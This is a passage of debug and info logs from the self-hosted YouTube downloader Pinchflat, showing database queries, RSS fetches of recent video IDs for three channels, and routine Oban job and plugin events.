m0 WHERE (m0."id" = ?) [1] 10:40:30.696 [debug] QUERY OK source="settings" db=0.0ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:40:30.696 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 10:40:30.819 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 10:40:30.820 [debug] QUERY OK source="media_items" db=0.2ms idle=124.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 10:40:30.820 [debug] QUERY OK source="media_items" db=0.2ms idle=124.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 10:40:30.821 [debug] QUERY OK source="tasks" db=0.0ms idle=124.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [602, 2, ~U[2026-07-24 10:40:30Z], ~U[2026-07-24 10:40:30Z]] 10:40:30.821 [info] {"args":{"id":2},"id":599,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":125681,"event":"job:stop","queue_time":417247,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 10:40:43.713 [info] {"args":{"id":1},"id":600,"meta":{},"system_time":1784889643713181506,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 10:40:43.713 [debug] QUERY OK source="sources" db=0.0ms idle=1141.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 10:40:43.713 [debug] QUERY OK source="settings" db=0.0ms idle=1141.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:40:43.713 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1008.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 10:40:43.713 [debug] QUERY OK source="settings" db=0.0ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:40:43.713 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 10:40:43.755 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 10:40:43.756 [debug] QUERY OK source="media_items" db=0.2ms idle=42.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 10:40:43.758 [debug] QUERY OK source="media_items" db=2.1ms idle=43.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 10:40:43.759 [debug] QUERY OK source="tasks" db=0.0ms idle=45.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [603, 1, ~U[2026-07-24 10:40:43Z], ~U[2026-07-24 10:40:43Z]] 10:40:43.759 [info] {"args":{"id":1},"id":600,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":46331,"event":"job:stop","queue_time":433132,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 10:40:56.421 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:41:00.376 [info] {"source":"oban","duration":308,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:41:01.734 [info] {"args":{"id":3},"id":601,"meta":{},"system_time":1784889661734238969,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 10:41:01.734 [debug] QUERY OK source="sources" db=0.0ms idle=162.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 10:41:01.734 [debug] QUERY OK source="settings" db=0.1ms idle=162.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:41:01.734 [debug] QUERY OK source="media_profiles" db=0.0ms idle=162.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 10:41:01.734 [debug] QUERY OK source="settings" db=0.0ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:41:01.734 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 10:41:01.762 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 10:41:01.762 [debug] QUERY OK source="media_items" db=0.2ms idle=27.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 10:41:01.764 [debug] QUERY OK source="media_items" db=1.8ms idle=28.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 10:41:01.765 [debug] QUERY OK source="tasks" db=0.0ms idle=30.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [604, 3, ~U[2026-07-24 10:41:01Z], ~U[2026-07-24 10:41:01Z]] 10:41:01.765 [info] {"args":{"id":3},"id":601,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":30860,"event":"job:stop","queue_time":512391,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 10:41:26.422 [info] {"source":"oban","duration":570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:41:56.424 [info] {"source":"oban","duration":1074,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:42:00.377 [info] {"source":"oban","duration":251,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:42:26.425 [info] {"source":"oban","duration":501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:42:56.427 [info] {"source":"oban","duration":1073,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:43:00.378 [info] {"source":"oban","duration":201,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:43:26.428 [info] {"source":"oban","duration":968,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:43:56.430 [info] {"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:44:00.379 [info] {"source":"oban","duration":158,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:44:26.431 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:44:56.433 [info] {"source":"oban","duration":730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:45:00.380 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:45:26.435 [info] {"source":"oban","duration":486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:45:56.436 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:46:00.381 [info] {"source":"oban","duration":201,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:46:26.437 [info] {"source":"oban","duration":749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:46:56.439 [info] {"source":"oban","duration":565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:47:00.381 [info] {"source":"oban","duration":91,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:47:26.440 [info] {"source":"oban","duration":542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:47:56.441 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:48:00.383 [info] {"source":"oban","duration":248,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:48:26.443 [info] {"source":"oban","duration":500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:48:56.444 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:49:00.384 [info] {"source":"oban","duration":196,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:49:26.445 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:49:56.446 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:50:00.385 [info] {"source":"oban","duration":144,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:50:26.447 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:50:31.333 [info] {"args":{"id":2},"id":602,"meta":{},"system_time":1784890231333149621,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 10:50:31.333 [debug] QUERY OK source="sources" db=0.0ms idle=1761.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 10:50:31.333 [debug] QUERY OK source="settings" db=0.0ms idle=1761.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:50:31.333 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 10:50:31.333 [debug] QUERY OK source="settings" db=0.0ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:50:31.333 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 10:50:31.459 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 10:50:31.459 [debug] QUERY OK source="media_items" db=0.1ms idle=126.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 10:50:31.460 [debug] QUERY OK source="media_items" db=0.2ms idle=126.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 10:50:31.460 [debug] QUERY OK source="tasks" db=0.0ms idle=126.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [605, 2, ~U[2026-07-24 10:50:31Z], ~U[2026-07-24 10:50:31Z]] 10:50:31.460 [info] {"args":{"id":2},"id":602,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":127497,"event":"job:stop","queue_time":512126,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 10:50:44.347 [info] {"args":{"id":1},"id":603,"meta":{},"system_time":1784890244347153503,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 10:50:44.347 [debug] QUERY OK source="sources" db=0.1ms idle=1774.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 10:50:44.347 [debug] QUERY OK source="settings" db=0.0ms idle=1775.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:50:44.347 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1008.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 10:50:44.347 [debug] QUERY OK source="settings" db=0.0ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:50:44.347 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 10:50:44.387 [debug] Media ids 